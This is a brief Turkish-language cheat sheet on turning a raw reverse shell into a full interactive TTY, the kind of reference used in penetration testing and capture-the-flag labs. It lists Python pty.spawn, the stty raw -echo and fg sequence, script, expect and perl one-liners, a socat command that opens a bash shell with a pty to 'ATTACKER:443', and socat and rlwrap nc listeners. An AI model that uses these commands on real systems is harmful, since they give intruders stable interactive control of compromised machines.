Full TTYs

generic tty

Ham reverse shell’de su, ssh, vim ve tab-completion kırılır. PTY alloce edip TERM ve window size ayarlamak gerekir.

Metodoloji

1. Hedefte python/script/socat var mı bak.

2. PTY spawn et; background’da shell’i suspend et.

3. Attacker tarafında raw TTY + stty size eşle.

4. fg ile dön; su/editörleri doğrula.

Python PTY

python3 -c 'import pty

pty.spawn("/bin/bash")'

# klasik üçlü
# 1) python pty
# 2) Ctrl-Z
# 3) attacker:

stty raw -echo

fg

# shell içinde:
export TERM=xterm-256color

stty rows 40 columns 120

script / socat

script -qc /bin/bash /dev/null

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:443

# attacker
socat file:`tty`,raw,echo=0 tcp-listen:443

Expect / perl

expect -c 'spawn bash

interact'

perl -e 'exec "/bin/sh"

'

PTY yoksa en azından rlwrap nc -lvnp 443 ile lokal history/ok tuşları

rlwrap nc -lvnp 443

Checklist

[ ] PTY spawn edildi
[ ] stty raw -echo; fg uygulandı
[ ] TERM/rows/cols ayarlandı
[ ] su/vim/ssh denendi